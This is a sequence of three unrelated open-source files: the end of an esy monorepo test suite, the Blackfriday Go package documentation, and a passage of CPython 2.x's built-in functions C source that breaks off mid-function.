});
test.disableIf(isWindows)(
'running command in monorepo package env (referring to a package by name)',
async function() {
// run commands in a specified package environment.
const p = await createTestSandbox();
const {stdout} = await p.esy(`-p pkga echo '#{self.name}'`);
expect(stdout.trim()).toBe('pkga');
},
);
test.disableIf(isWindows)(
'running command in monorepo package env (referring to a package by changing cwd)',
async function() {
// run commands in a specified package environment.
const p = await createTestSandbox();
p.cd('./pkga');
const {stdout} = await p.esy(`echo '#{self.name}'`);
p.cd('../');
expect(stdout.trim()).toBe('pkga');
},
);
test.disableIf(isWindows)(
'running command in monorepo package env (referring to a package by path)',
async function() {
// we can also refer to linked package by its manifest path
const p = await createTestSandbox();
const {stdout} = await p.esy(`-p ./pkgb/package.json echo '#{self.name}'`);
expect(stdout.trim()).toBe('pkgb');
},
);
});
| {
"pile_set_name": "Github"
} |
// Package blackfriday is a markdown processor.
//
// It translates plain text with simple formatting rules into an AST, which can
// then be further processed to HTML (provided by Blackfriday itself) or other
// formats (provided by the community).
//
// The simplest way to invoke Blackfriday is to call the Run function. It will
// take a text input and produce a text output in HTML (or other format).
//
// A slightly more sophisticated way to use Blackfriday is to create a Markdown
// processor and to call Parse, which returns a syntax tree for the input
// document. You can leverage Blackfriday's parsing for content extraction from
// markdown documents. You can assign a custom renderer and set various options
// to the Markdown processor.
//
// If you're interested in calling Blackfriday from command line, see
// https://github.com/russross/blackfriday-tool.
package blackfriday
| {
"pile_set_name": "Github"
} |
/* Built-in functions */
#include "Python.h"
#include "Python-ast.h"
#include "node.h"
#include "code.h"
#include "eval.h"
#include <ctype.h>
#include <float.h> /* for DBL_MANT_DIG and friends */
#ifdef RISCOS
#include "unixstuff.h"
#endif
/* The default encoding used by the platform file system APIs
Can remain NULL for all platforms that don't have such a concept
*/
#if defined(MS_WINDOWS) && defined(HAVE_USABLE_WCHAR_T)
const char *Py_FileSystemDefaultEncoding = "mbcs";
#elif defined(__APPLE__)
const char *Py_FileSystemDefaultEncoding = "utf-8";
#else
const char *Py_FileSystemDefaultEncoding = NULL; /* use default */
#endif
/* Forward */
static PyObject *filterstring(PyObject *, PyObject *);
#ifdef Py_USING_UNICODE
static PyObject *filterunicode(PyObject *, PyObject *);
#endif
static PyObject *filtertuple (PyObject *, PyObject *);
static PyObject *
builtin___import__(PyObject *self, PyObject *args, PyObject *kwds)
{
static char *kwlist[] = {"name", "globals", "locals", "fromlist",
"level", 0};
char *name;
PyObject *globals = NULL;
PyObject *locals = NULL;
PyObject *fromlist = NULL;
int level = -1;
if (!PyArg_ParseTupleAndKeywords(args, kwds, "s|OOOi:__import__",
kwlist, &name, &globals, &locals, &fromlist, &level))
return NULL;
return PyImport_ImportModuleLevel(name, globals, locals,
fromlist, level);
}
PyDoc_STRVAR(import_doc,
"__import__(name, globals={}, locals={}, fromlist=[], level=-1) -> module\n\
\n\
Import a module. Because this function is meant for use by the Python\n\
interpreter and not for general use it is better to use\n\
importlib.import_module() to programmatically import a module.\n\
\n\
The globals argument is only used to determine the context;\n\
they are not modified. The locals argument is unused. The fromlist\n\
should be a list of names to emulate ``from name import ...'', or an\n\
empty list to emulate ``import name''.\n\
When importing a module from a package, note that __import__('A.B', ...)\n\
returns package A when fromlist is empty, but its submodule B when\n\
fromlist is not empty. Level is used to determine whether to perform \n\
absolute or relative imports. -1 is the original strategy of attempting\n\
both absolute and relative imports, 0 is absolute, a positive number\n\
is the number of parent directories to search relative to the current module.");
static PyObject *
builtin_abs(PyObject *self, PyObject *v)
{
return PyNumber_Absolute(v);
}
PyDoc_STRVAR(abs_doc,
"abs(number) -> number\n\
\n\
Return the absolute value of the argument.");
static PyObject *
builtin_all(PyObject *self, PyObject *v)
{
PyObject *it, *item;
PyObject *(*iternext)(PyObject *);
int cmp;
it = PyObject_GetIter(v);
if (it == NULL)
return NULL;
iternext = *Py_TYPE(it)->tp_iternext;
for (;;) {
item = iternext(it);
if (item == NULL)
break;
cmp = PyObject_IsTrue(item);
Py_DECREF(item);
if (cmp < 0) {
Py_DECREF(it);
return NULL;
}
if (cmp == 0) {
Py_DECREF(it);
Py_RETURN_FALSE;
}
}
Py_DECREF(it);
if (PyErr_Occurred()) {
if (PyErr_ExceptionMatches(PyExc_StopIteration))
PyErr_Clear();
else
return NULL;
}
Py_RETURN_TRUE;
}
PyDoc_STRVAR(all_doc,
"all(iterable) -> bool\n\
\n\
Return True if bool(x) is True for all values x in the iterable.\n\
If the iterable is empty, return True.");
static PyObject *
builtin_any(PyObject *self, PyObject *v)
{
PyObject *it, *item;
PyObject *(*iternext)(PyObject *);
int cmp;
it = PyObject_GetIter(v);
if (it == NULL)
return NULL;
iternext = *Py_TYPE(it)->tp_iternext;
for (;;) {
item = iternext(it);
if (item == NULL)
break;
cmp = PyObject_IsTrue(item);
Py_DECREF(item);
if (cmp < 0) {
Py_DECREF(it);
return NULL;
}
if (cmp == 1) {
Py_DECREF(it);
Py_RETURN_TRUE;
}
}
Py_DECREF(it);
if (PyErr_Occurred()) {
if (PyErr_ExceptionMatches(PyExc_StopIteration))
PyErr_Clear();
else
return NULL;
}
Py_RETURN_FALSE;
}
PyDoc_STRVAR(any_doc,
"any(iterable) -> bool\n\
\n\
Return True if bool(x) is True for any x in the iterable.\n\
If the iterable is empty, return False.");
static PyObject *
builtin_apply(PyObject *self, PyObject *args)
{
PyObject *func, *alist = NULL, *kwdict = NULL;
PyObject *t = NULL, *retval = NULL;
if (PyErr_WarnPy3k("apply() not supported in 3.x; "
"use func(*args, **kwargs)", 1) < 0)
return NULL;
if (!PyArg_UnpackTuple(args, "apply", 1, 3, &func, &alist, &kwdict))
return NULL;
if (alist != NULL) {
if (!PyTuple_Check(alist)) {
if (!PySequence_Check(alist)) {
PyErr_Format(PyExc_TypeError,
"apply() arg 2 expected sequence, found %s",
alist->ob_type->tp_name);
return NULL;
}
t = PySequence_Tuple(alist);
if (t == NULL)
return NULL;
alist = t;
}
}
if (kwdict != NULL && !PyDict_Check(kwdict)) {
PyErr_Format(PyExc_TypeError,
"apply() arg 3 expected dictionary, found %s",
kwdict->ob_type->tp_name);
goto finally;
}
retval = PyEval_CallObjectWithKeywords(func, alist, kwdict);
finally:
Py_XDECREF(t);
return retval;
}
PyDoc_STRVAR(apply_doc,
"apply(object[, args[, kwargs]]) -> value\n\
\n\
Call a callable object with positional arguments taken from the tuple args,\n\
and keyword arguments taken from the optional dictionary kwargs.\n\
Note that classes are callable, as are instances with a __call__() method.\n\
\n\
Deprecated since release 2.3. Instead, use the extended call syntax:\n\
function(*args, **keywords).");
static PyObject *
builtin_bin(PyObject *self, PyObject *v)
{
return PyNumber_ToBase(v, 2);
}
PyDoc_STRVAR(bin_doc,
"bin(number) -> string\n\
\n\
Return the binary representation of an integer or long integer.");
static PyObject *
builtin_callable(PyObject *self, PyObject *v)
{
return PyBool_FromLong((long)PyCallable_Check(v));
}
PyDoc_STRVAR(callable_doc,
"callable(object) -> bool\n\
\n\
Return whether the object is callable (i.e., some kind of function).\n\
Note that classes are callable, as are instances with a __call__() method.");
static PyObject *
builtin_filter(PyObject *self, PyObject *args)
{
PyObject *func, *seq, *result, *it, *arg;
Py_ssize_t len; /* guess for result list size */
register Py_ssize_t j;
if (!PyArg_UnpackTuple(args, "filter", 2, 2, &func, &seq))
return NULL;
/* Strings and tuples return a result of the same type. */
if (PyString_Check(seq))
return filterstring(func, seq);
#ifdef Py_USING_UNICODE
if (PyUnicode_Check(seq))
return filterunicode(func, seq);
#endif
if (PyTuple_Check(seq))
return filtertuple(func, seq);
/* Pre-allocate argument list tuple. */
arg = PyTuple_New(1);
if (arg == NULL)
return NULL;
/* Get iterator. */
it = PyObject_GetIter(seq);
if (it == NULL)
goto Fail_arg;
/* Guess a result list size. */
len = _PyObject_LengthHint(seq, 8);
if (len == -1)
goto Fail_it;
/* Get a result list. */
if (PyList_Check(seq) && seq->ob_refcnt == 1) {
/* Eww - can modify the list in-place. */
Py_INCREF(seq);
result = seq;
}
else {
result = PyList_New(len);
if (result == NULL)
goto Fail_it;
}
/* Build the result list. */
j = 0;
for (;;) {
PyObject *item;
int ok;
item = PyIter_Next(it);
if (item == NULL) {
if (PyErr_Occurred())
goto Fail_result_it;
break;
}
if (func == (PyObject *)&PyBool_Type || func == Py_None) {
ok = PyObject_IsTrue(item);
}
else {
PyObject *good;
PyTuple_SET_ITEM(arg, 0, item);
good = PyObject_Call(func, arg, NULL);
PyTuple_SET_ITEM(arg, 0, NULL);
if (good == NULL) {
Py_DECREF(item);
goto Fail_result_it;
}
ok = PyObject_IsTrue(good);
Py_DECREF(good);
}
if (ok > 0) {
if (j < len)
PyList_SET_ITEM(result, j, item);
else {
int status = PyList_Append(result, item);
Py_DECREF(item);
if (status < 0)
goto Fail_result_it;
}
++j;
}
else {
Py_DECREF(item);
if (ok < 0)
goto Fail_result_it;
}
}
/* Cut back result list if len is too big. */
if (j < len && PyList_SetSlice(result, j, len, NULL) < 0)
goto Fail_result_it;
Py_DECREF(it);
Py_DECREF(arg);
return result;
Fail_result_it:
Py_DECREF(result);
Fail_it:
Py_DECREF(it);
Fail_arg:
Py_DECREF(arg);
return NULL;
}
PyDoc_STRVAR(filter_doc,
"filter(function or None, sequence) -> list, tuple, or string\n"
"\n"
"Return those items of sequence for which function(item) is true. If\n"
"function is None, return the items that are true. If sequence is a tuple\n"
"or string, return the same type, else return a list.");
static PyObject *
builtin_format(PyObject *self, PyObject *args)
{
PyObject *value;
PyObject *format_spec = NULL;
if (!PyArg_ParseTuple(args, "O|O:format", &value, &format_spec))
return NULL;
return PyObject_Format(value, format_spec);
}
PyDoc_STRVAR(format_doc,
"format(value[, format_spec]) -> string\n\
\n\
Returns value.__format__(format_spec)\n\
format_spec defaults to \"\"");
static PyObject *
builtin_chr(PyObject *self, PyObject *args)
{
long x;
char s[1];
if (!PyArg_ParseTuple(args, "l:chr", &x))
return NULL;
if (x < 0 || x >= 256) {
PyErr_SetString(PyExc_ValueError,
"chr() arg not in range(256)");
return NULL;
}
s[0] = (char)x;
return PyString_FromStringAndSize(s, 1);
}
PyDoc_STRVAR(chr_doc,
"chr(i) -> character\n\
\n\
Return a string of one character with ordinal i; 0 <= i < 256.");
#ifdef Py_USING_UNICODE
static PyObject *
builtin_unichr(PyObject *self, PyObject *args)
{
int x;
if (!PyArg_ParseTuple(args, "i:unichr", &x))
return NULL;
return PyUnicode_FromOrdinal(x);
}
PyDoc_STRVAR(unichr_doc,
"unichr(i) -> Unicode character\n\
\n\
Return a Unicode string of one character with ordinal i; 0 <= i <= 0x10ffff.");
#endif
static PyObject *
builtin_cmp(PyObject *self, PyObject *args)
{
PyObject *a, *b;
int c;
if (!PyArg_UnpackTuple(args, "cmp", 2, 2, &a, &b))
return NULL;
if (PyObject_Cmp(a, b, &c) < 0)
return NULL;
return PyInt_FromLong((long)c);
}
PyDoc_STRVAR(cmp_doc,
"cmp(x, y) -> integer\n\
\n\
Return negative if x<y, zero if x==y, positive if x>y.");
static PyObject *
builtin_coerce(PyObject *self, PyObject *args)
{
PyObject *v, *w;
PyObject *res;
if (PyErr_WarnPy3k("coerce() not supported in 3.x", 1) < 0)
return NULL;
if (!PyArg_UnpackTuple(args, "coerce", 2, 2, &v, &w))
return NULL;
if (PyNumber_Coerce(&v, &w) < 0)
return NULL;
res = PyTuple_Pack(2, v, w);
Py_DECREF(v);
Py_DECREF(w);
return res;
}
PyDoc_STRVAR(coerce_doc,
"coerce(x, y) -> (x1, y1)\n\
\n\
Return a tuple consisting of the two numeric arguments converted to\n\
a common type, using the same rules as used by arithmetic operations.\n\
If coercion is not possible, raise TypeError.");
static PyObject *
builtin_compile(PyObject *self, PyObject *args, PyObject *kwds)
{
char *str;
char *filename;
char *startstr;
int mode = -1;
int dont_inherit = 0;
int supplied_flags = 0;
int is_ast;
PyCompilerFlags cf;
PyObject *result = NULL, *cmd, *tmp = NULL;
Py_ssize_t length;
static char *kwlist[] = {"source", "filename", "mode", "flags",
"dont_inherit", NULL};
int start[] = {Py_file_input, Py_eval_input, Py_single_input};
if (!PyArg_ParseTupleAndKeywords(args, kwds, "Oss|ii:compile",
kwlist, &cmd, &filename, &startstr,
&supplied_flags, &dont_inherit))
return NULL;
cf.cf_flags = supplied_flags;
if (supplied_flags &
~(PyCF_MASK | PyCF_MASK_OBSOLETE | PyCF_DONT_IMPLY_DEDENT | PyCF_ONLY_AST))
{
PyErr_SetString(PyExc_ValueError,
"compile(): unrecognised flags");
return NULL;
}
/* XXX Warn if (supplied_flags & PyCF_MASK_OBSOLETE) != 0? */
if (!dont_inherit) {
PyEval_MergeCompilerFlags(&cf);
}
if (strcmp(startstr, "exec") == 0)
mode = 0;
else if (strcmp(startstr, "eval") == 0)
mode = 1;
else if (strcmp(startstr, "single") == 0)
mode = 2;
else {
PyErr_SetString(PyExc_ValueError,
"compile() arg 3 must be 'exec', 'eval' or 'single'");
return NULL;
}
is_ast = PyAST_Check(cmd);
if (is_ast == -1)
return NULL;
if (is_ast) {
if (supplied_flags & PyCF_ONLY_AST) {
Py_INCREF(cmd);
result = cmd;
}
else {
PyArena *arena;
mod_ty mod;
arena = PyArena_New();
if (arena == NULL)
return NULL;
mod = PyAST_obj2mod(cmd, arena, mode);
if (mod == NULL) {
PyArena_Free(arena);
return NULL;
}
result = (PyObject*)PyAST_Compile(mod, filename,
&cf, arena);
PyArena_Free(arena);
}
return result;
}
#ifdef Py_USING_UNICODE
if (PyUnicode_Check(cmd)) {
tmp = PyUnicode_AsUTF8String(cmd);
if (tmp == NULL)
return NULL;
cmd = tmp;
cf.cf_flags |= PyCF_SOURCE_IS_UTF8;
}
#endif
if (PyObject_AsReadBuffer(cmd, (const void **)&str, &length))
goto cleanup;
if ((size_t)length != strlen(str)) {
PyErr_SetString(PyExc_TypeError,
"compile() expected string without null bytes");
goto cleanup;
}
result = Py_CompileStringFlags(str, filename, start[mode], &cf);
cleanup:
Py_XDECREF(tmp);
return result;
}
PyDoc_STRVAR(compile_doc,
"compile(source, filename, mode[, flags[, dont_inherit]]) -> code object\n\
\n\
Compile the source string (a Python module, statement or expression)\n\
into a code object that can be executed by the exec statement or eval().\n\
The filename will be used for run-time error messages.\n\
The mode must be 'exec' to compile a module, 'single' to compile a\n\
single (interactive) statement, or 'eval' to compile an expression.\n\
The flags argument, if present, controls which future statements influence\n\
the compilation of the code.\n\
The dont_inherit argument, if non-zero, stops the compilation inheriting\n\
the effects of any future statements in effect in the code calling\n\
compile; if absent or zero these statements do influence the compilation,\n\
in addition to any features explicitly specified.");
static PyObject *
builtin_dir(PyObject *self, PyObject *args)
{
PyObject *arg = NULL;
if (!PyArg_UnpackTuple(args, "dir", 0, 1, &arg))
return NULL;
return PyObject_Dir(arg);
}
PyDoc_STRVAR(dir_doc,
"dir([object]) -> list of strings\n"
"\n"
"If called without an argument, return the names in the current scope.\n"
"Else, return an alphabetized list of names comprising (some of) the attributes\n"
"of the given object, and of attributes reachable from it.\n"
"If the object supplies a method named __dir__, it will be used; otherwise\n"
"the default dir() logic is used and returns:\n"
" for a module object: the module's attributes.\n"
" for a class object: its attributes, and recursively the attributes\n"
" of its bases.\n"
" for any other object: its attributes, its class's attributes, and\n"
" recursively the attributes of its class's base classes.");
static PyObject *
builtin_divmod(PyObject *self, PyObject *args)
{
PyObject *v, *w;
if (!PyArg_UnpackTuple(args, "divmod", 2, 2, &v, &w))
return NULL;
return PyNumber_Divmod(v, w);
}
PyDoc_STRVAR(divmod_doc,
"divmod(x, y) -> (quotient, remainder)\n\
\n\
Return the tuple ((x-x%y)/y, x%y). Invariant: div*y + mod == x.");
static PyObject *
builtin_eval(PyObject *self, PyObject *args)
{
PyObject *cmd, *result, *tmp = NULL;
PyObject *globals = Py_None, *locals = Py_None;
char *str;
PyCompilerFlags cf;
if (!PyArg_UnpackTuple(args, "eval", 1, 3, &cmd, &globals, &locals))
return NULL;
if (locals != Py_None && !PyMapping_Check(locals)) {
PyErr_SetString(PyExc_TypeError, "locals must be a mapping");
return NULL;
}
if (globals != Py_None && !PyDict_Check(globals)) {
PyErr_SetString(PyExc_TypeError, PyMapping_Check(globals) ?
"globals must be a real dict; try eval(expr, {}, mapping)"
: "globals must be a dict");
return NULL;
}
if (globals == Py_None) {
globals = PyEval_GetGlobals();
if (locals == Py_None)
locals = PyEval_GetLocals();
}
else if (locals == Py_None)
locals = globals;
if (globals == NULL || locals == NULL) {
PyErr_SetString(PyExc_TypeError,
"eval must be given globals and locals "
"when called without a frame");
return NULL;
}
if (PyDict_GetItemString(globals, "__builtins__") == NULL) {
if (PyDict_SetItemString(globals, "__builtins__",
PyEval_GetBuiltins()) != 0)
return NULL;
}
if (PyCode_Check(cmd)) {
if (PyCode_GetNumFree((PyCodeObject *)cmd) > 0) {
PyErr_SetString(PyExc_TypeError,
"code object passed to eval() may not contain free variables");
return NULL;
}
return PyEval_EvalCode((PyCodeObject *) cmd, globals, locals);
}
if (!PyString_Check(cmd) &&
!PyUnicode_Check(cmd)) {
PyErr_SetString(PyExc_TypeError,
"eval() arg 1 must be a string or code object");
return NULL;
}
cf.cf_flags = 0;
#ifdef Py_USING_UNICODE
if (PyUnicode_Check(cmd)) {
tmp = PyUnicode_AsUTF8String(cmd);
if (tmp == NULL)
return NULL;
cmd = tmp;
cf.cf_flags |= PyCF_SOURCE_IS_UTF8;
}
#endif
if (PyString_AsStringAndSize(cmd, &str, NULL)) {
Py_XDECREF(tmp);
return NULL;
}
while (*str == ' ' || *str == '\t')
str++;
(void)PyEval_MergeCompilerFlags(&cf);
result = PyRun_StringFlags(str, Py_eval_input, globals, locals, &cf);
Py_XDECREF(tmp);
return result;
}
PyDoc_STRVAR(eval_doc,
"eval(source[, globals[, locals]]) -> value\n\
\n\
Evaluate the source in the context of globals and locals.\n\
The source may be a string representing a Python expression\n\
or a code object as returned by compile().\n\
The globals must be a dictionary and locals can be any mapping,\n\
defaulting to the current globals and locals.\n\
If only globals is given, locals defaults to it.\n");
static PyObject *
builtin_execfile(PyObject *self, PyObject *args)
{
char *filename;
PyObject *globals = Py_None, *locals = Py_None;
PyObject *res;
FILE* fp = NULL;
PyCompilerFlags cf;
int exists;
if (PyErr_WarnPy3k("execfile() not supported in 3.x; use exec()",
1) < 0)
return NULL;
if (!PyArg_ParseTuple(args, "s|O!O:execfile",
&filename,
&PyDict_Type, &globals,
&locals))
return NULL;
if (locals != Py_None && !PyMapping_Check(locals)) {
PyErr_SetString(PyExc_TypeError, "locals must be a mapping");
return NULL;
}
if (globals == Py_None) {
globals = PyEval_GetGlobals();
if (locals == Py_None)
locals = PyEval_GetLocals();
}
else if (locals == Py_None)
locals = globals;
if (PyDict_GetItemString(globals, "__builtins__") == NULL) {
if (PyDict_SetItemString(globals, "__builtins__",
PyEval_GetBuiltins()) != 0)
return NULL;
}
exists = 0;
/* Test for existence or directory. */
#if defined(PLAN9)
{
Dir *d;
if ((d = dirstat(filename))!=nil) {
if(d->mode & DMDIR)
werrstr("is a directory");
else
exists = 1;
free(d);
}
}
#elif defined(RISCOS)
if (object_exists(filename)) {
if (isdir(filename))
errno = EISDIR;
else
exists = 1;
}
#else /* standard Posix */
{
struct stat s;
if (stat(filename, &s) == 0) {
if (S_ISDIR(s.st_mode))
# if defined(PYOS_OS2) && defined(PYCC_VACPP)
errno = EOS2ERR;
# else
errno = EISDIR;
# endif
else
exists = 1;
}
}
#endif
if (exists) {
Py_BEGIN_ALLOW_THREADS
fp = fopen(filename, "r" PY_STDIOTEXTMODE);
Py_END_ALLOW_THREADS
if (fp == NULL) {
exists = 0;
}
}
if (!exists) {
PyErr_SetFromErrnoWithFilename(PyExc_IOError, filename);
return NULL;
}
cf.cf_flags = 0;
if (PyEval_MergeCompilerFlags(&cf))
res = PyRun_FileExFlags(fp, filename, Py_file_input, globals,
locals, 1, &cf);
else
res = PyRun_FileEx(fp, filename, Py_file_input, globals,
locals, 1);
return res;
}
PyDoc_STRVAR(execfile_doc,
"execfile(filename[, globals[, locals]])\n\
\n\
Read and execute a Python script from a file.\n\
The globals and locals are dictionaries, defaulting to the current\n\
globals and locals. If only globals is given, locals defaults to it.");
static PyObject *
builtin_getattr(PyObject *self, PyObject *args)
{
PyObject *v, *result, *dflt = NULL;
PyObject *name;
if (!PyArg_UnpackTuple(args, "getattr", 2, 3, &v, &name, &dflt))
return NULL;
#ifdef Py_USING_UNICODE
if (PyUnicode_Check(name)) {
name = _PyUnicode_AsDefaultEncodedString(name, NULL);
if (name == NULL)
return NULL;
}
#endif
if (!PyString_Check(name)) {
PyErr_SetString(PyExc_TypeError,
"getattr(): attribute name must be string");
return NULL;
}
result = PyObject_GetAttr(v, name);
if (result == NULL && dflt != NULL &&
PyErr_ExceptionMatches(PyExc_AttributeError))
{
PyErr_Clear();
Py_INCREF(dflt);
result = dflt;
}
return result;
}
PyDoc_STRVAR(getattr_doc,
"getattr(object, name[, default]) -> value\n\
\n\
Get a named attribute from an object; getattr(x, 'y') is equivalent to x.y.\n\
When a default argument is given, it is returned when the attribute doesn't\n\
exist; without it, an exception is raised in that case.");
static PyObject *
builtin_globals(PyObject *self)
{
PyObject *d;
d = PyEval_GetGlobals();
Py_XINCREF(d);
return d;
}
PyDoc_STRVAR(globals_doc,
"globals() -> dictionary\n\
\n\
Return the dictionary containing the current scope's global variables.");
static PyObject *
builtin_hasattr(PyObject *self, PyObject *args)
{
PyObject *v;
PyObject *name;
if (!PyArg_UnpackTuple(args, "hasattr", 2, 2, &v, &name))
return NULL;
#ifdef Py_USING_UNICODE
if (PyUnicode_Check(name)) {
name = _PyUnicode_AsDefaultEncodedString(name, NULL);
if (name == NULL)
return NULL;
}
#endif
if (!PyString_Check(name)) {
PyErr_SetString(PyExc_TypeError,
"hasattr(): attribute name must be string");
return NULL;
}
v = PyObject_GetAttr(v, name);
if (v == NULL) {
if (!PyErr_ExceptionMatches(PyExc_Exception))
return NULL;
else {
PyErr_Clear();
Py_INCREF(Py_False);
return Py_False;
}
}
Py_DECREF(v);
Py_INCREF(Py_True);
return Py_True;
}
PyDoc_STRVAR(hasattr_doc,
"hasattr(object, name) -> bool\n\
\n\
Return whether the object has an attribute with the given name.\n\
(This is done by calling getattr(object, name) and catching exceptions.)");
static PyObject *
builtin_id(PyObject *self, PyObject *v)
{
return PyLong_FromVoidPtr(v);
}
PyDoc_STRVAR(id_doc,
"id(object) -> integer\n\
\n\
Return the identity of an object. This is guaranteed to be unique among\n\
simultaneously existing objects. (Hint: it's the object's memory address.)");
static PyObject *
builtin_map(PyObject *self, PyObject *args)
{
typedef struct {
PyObject *it; /* the iterator object */
int saw_StopIteration; /* bool: did the iterator end? */
} sequence;
PyObject *func, *result;
sequence *seqs = NULL, *sqp;
Py_ssize_t n, len;
register int i, j;
n = PyTuple_Size(args);
if (n < 2) {
PyErr_SetString(PyExc_TypeError,
"map() requires at least two args");
return NULL;
}
func = PyTuple_GetItem(args, 0);
n--;
if (func == Py_None) {
if (PyErr_WarnPy3k("map(None, ...) not supported in 3.x; "
"use list(...)", 1) < 0)
return NULL;
if (n == 1) {
/* map(None, S) is the same as list(S). */
return PySequence_List(PyTuple_GetItem(args, 1));
}
}
/* Get space for sequence descriptors. Must NULL out the iterator
* pointers so that jumping to Fail_2 later doesn't see trash.
*/
if ((seqs = PyMem_NEW(sequence, n)) == NULL) {
PyErr_NoMemory();
return NULL;
}
for (i = 0; i < n; ++i) {
seqs[i].it = (PyObject*)NULL;
seqs[i].saw_StopIteration = 0;
}
/* Do a first pass to obtain iterators for the arguments, and set len
* to the largest of their lengths.
*/
len = 0;
for (i = 0, sqp = seqs; i < n; ++i, ++sqp) {
PyObject *curseq;
Py_ssize_t curlen;
/* Get iterator. */
curseq = PyTuple_GetItem(args, i+1);
sqp->it = PyObject_GetIter(curseq);
if (sqp->it == NULL) {
static char errmsg[] =
"argument %d to map() must support iteration";
char errbuf[sizeof(errmsg) + 25];
PyOS_snprintf(errbuf, sizeof(errbuf), errmsg, i+2);
PyErr_SetString(PyExc_TypeError, errbuf);
goto Fail_2;
}
/* Update len. */
curlen = _PyObject_LengthHint(curseq, 8);
if (curlen > len)
len = curlen;
}
/* Get space for the result list. */
if ((result = (PyObject *) PyList_New(len)) == NULL)
goto Fail_2;
/* Iterate over the sequences until all have stopped. */
for (i = 0; ; ++i) {
PyObject *alist, *item=NULL, *value;
int numactive = 0;
if (func == Py_None && n == 1)
alist = NULL;
else if ((alist = PyTuple_New(n)) == NULL)
goto Fail_1;
for (j = 0, sqp = seqs; j < n; ++j, ++sqp) {
if (sqp->saw_StopIteration) {
Py_INCREF(Py_None);
item = Py_None;
}
else {
item = PyIter_Next(sqp->it);
if (item)
++numactive;
else {
if (PyErr_Occurred()) {
Py_XDECREF(alist);
goto Fail_1;
}
Py_INCREF(Py_None);
item = Py_None;
sqp->saw_StopIteration = 1;
}
}
if (alist)
PyTuple_SET_ITEM(alist, j, item);
else
break;
}
if (!alist)
alist = item;
if (numactive == 0) {
Py_DECREF(alist);
break;
}
if (func == Py_None)
value = alist;
else {
value = PyEval_CallObject(func, alist);
Py_DECREF(alist);
if (value == NULL)
goto Fail_1;
}
if (i >= len) {
int status = PyList_Append(result, value);
Py_DECREF(value);
if (status < 0)
goto Fail_1;
}
else if (PyList_SetItem(result, i, value) < 0)
goto Fail_1;
}
if (i < len && PyList_SetSlice(result, i, len, NULL) < 0)
goto Fail_1;
goto Succeed;
Fail_1:
Py_DECREF(result);
Fail_2:
result = NULL;
Succeed:
assert(seqs);
for (i = 0; i < n; ++i)
Py_XDECREF(seqs[i].it);
PyMem_DEL(seqs);
return result;
}
PyDoc_STRVAR(map_doc,
"map(function, sequence[, sequence, ...]) -> list\n\
\n\
Return a list of the results of applying the function to the items of\n\
the argument sequence(s). If more than one sequence is given, the\n\
function is called with an argument list consisting of the corresponding\n\
item of each sequence, substituting None for missing values when not all\n\
sequences have the same length. If the function is None, return a list of\n\
the items of the sequence (or a list of tuples if more than one sequence).");
static PyObject *
builtin_next(PyObject *self, PyObject *args)
{
PyObject *it, *res;
PyObject *def = NULL;
if (!PyArg_UnpackTuple(args, "next", 1, 2, &it, &def))
return NULL;
if (!PyIter_Check(it)) {
PyErr_Format(PyExc_TypeError,
"%.200s object is not an iterator",
it->ob_type->tp_name);
return NULL;
}
res = (*it->ob_type->tp_iternext)(it);
if (res != NULL) {
return res;
} else if (def != NULL) {
if (PyErr_Occurred()) {
if (!PyErr_ExceptionMatches(PyExc_StopIteration))
return NULL;
PyErr_Clear();
}
Py_INCREF(def);
return def;
} else if (PyErr_Occurred()) {
return NULL;
} else {
PyErr_SetNone(PyExc_StopIteration);
return NULL;
}
}
PyDoc_STRVAR(next_doc,
"next(iterator[, default])\n\
\n\
Return the next item from the iterator. If default is given and the iterator\n\
is exhausted, it is returned instead of raising StopIteration.");
static PyObject *
builtin_setattr(PyObject *self, PyObject *args)
{
PyObject *v;
PyObject *name;
PyObject *value;
if (!PyArg_UnpackTuple(args, "setattr", 3, 3, &v, &name, &value))
return NULL;
if (PyObject_SetAttr(v, name, value) != 0)
return NULL;
Py_INCREF(Py_None);
return Py_None;
}
PyDoc_STRVAR(setattr_doc,
"setattr(object, name, value)\n\
\n\
Set a named attribute on an object; setattr(x, 'y', v) is equivalent to\n\
``x.y = v''.");
static PyObject *
builtin_delattr(PyObject *self, PyObject *args)
{
PyObject *v;
PyObject *name;
if (!PyArg_UnpackTuple(args, "delattr", 2, 2, &v, &name))
return NULL;
if (PyObject_SetAttr(v, name, (PyObject *)NULL) != 0)
return NULL;
Py_INCREF(Py_None);
return Py_None;
}
PyDoc_STRVAR(delattr_doc,
"delattr(object, name)\n\
\n\
Delete a named attribute on an object; delattr(x, 'y') is equivalent to\n\
``del x.y''.");
static PyObject *
builtin_hash(PyObject *self, PyObject *v)
{
long x;
x = PyObject_Hash(v);
if (x == -1)
return NULL;
return PyInt_FromLong(x);
}
PyDoc_STRVAR(hash_doc,
"hash(object) -> integer\n\
\n\
Return a hash value for the object. Two objects with the same value have\n\
the same hash value. The reverse is not necessarily true, but likely.");
static PyObject *
builtin_hex(PyObject *self, PyObject *v)
{
PyNumberMethods *nb;
PyObject *res;
if ((nb = v->ob_type->tp_as_number) == NULL ||
nb->nb_hex == NULL) {
PyErr_SetString(PyExc_TypeError,
"hex() argument can't be converted to hex");
return NULL;
}
res = (*nb->nb_hex)(v);
if (res && !PyString_Check(res)) {
PyErr_Format(PyExc_TypeError,
"__hex__ returned non-string (type %.200s)",
res->ob_type->tp_name);
Py_DECREF(res);
return NULL;
}
return res;
}
PyDoc_STRVAR(hex_doc,
"hex(number) -> string\n\
\n\
Return the hexadecimal representation of an integer or long integer.");
static PyObject *builtin_raw_input(PyObject *, PyObject *);
static PyObject *
builtin_input(PyObject *self, PyObject *args)
{
PyObject *line;
char *str;
PyObject *res;
PyObject *globals, *locals;
PyCompilerFlags cf;
line = builtin_raw_input(self, args);
if (line == NULL)
return line;
if (!PyArg_Parse(line, "s;embedded '\\0' in input line", &str))
return NULL;
while (*str == ' ' || *str == '\t')
str++;
globals = PyEval_GetGlobals();
locals = PyEval_GetLocals();
if (PyDict_GetItemString(globals, "__builtins__") == NULL) {
if (PyDict_SetItemString(globals, "__builtins__",
PyEval_GetBuiltins()) != 0)
return NULL;
}
cf.cf_flags = 0;
PyEval_MergeCompilerFlags(&cf);
res = PyRun_StringFlags(str, Py_eval_input, globals, locals, &cf);
Py_DECREF(line);
return res;
}
PyDoc_STRVAR(input_doc,
"input([prompt]) -> value\n\
\n\
Equivalent to eval(raw_input(prompt)).");
static PyObject *
builtin_intern(PyObject *self, PyObject *args)
{
PyObject *s;
if (!PyArg_ParseTuple(args, "S:intern", &s))
return NULL;
if (!PyString_CheckExact(s)) {
PyErr_SetString(PyExc_TypeError,
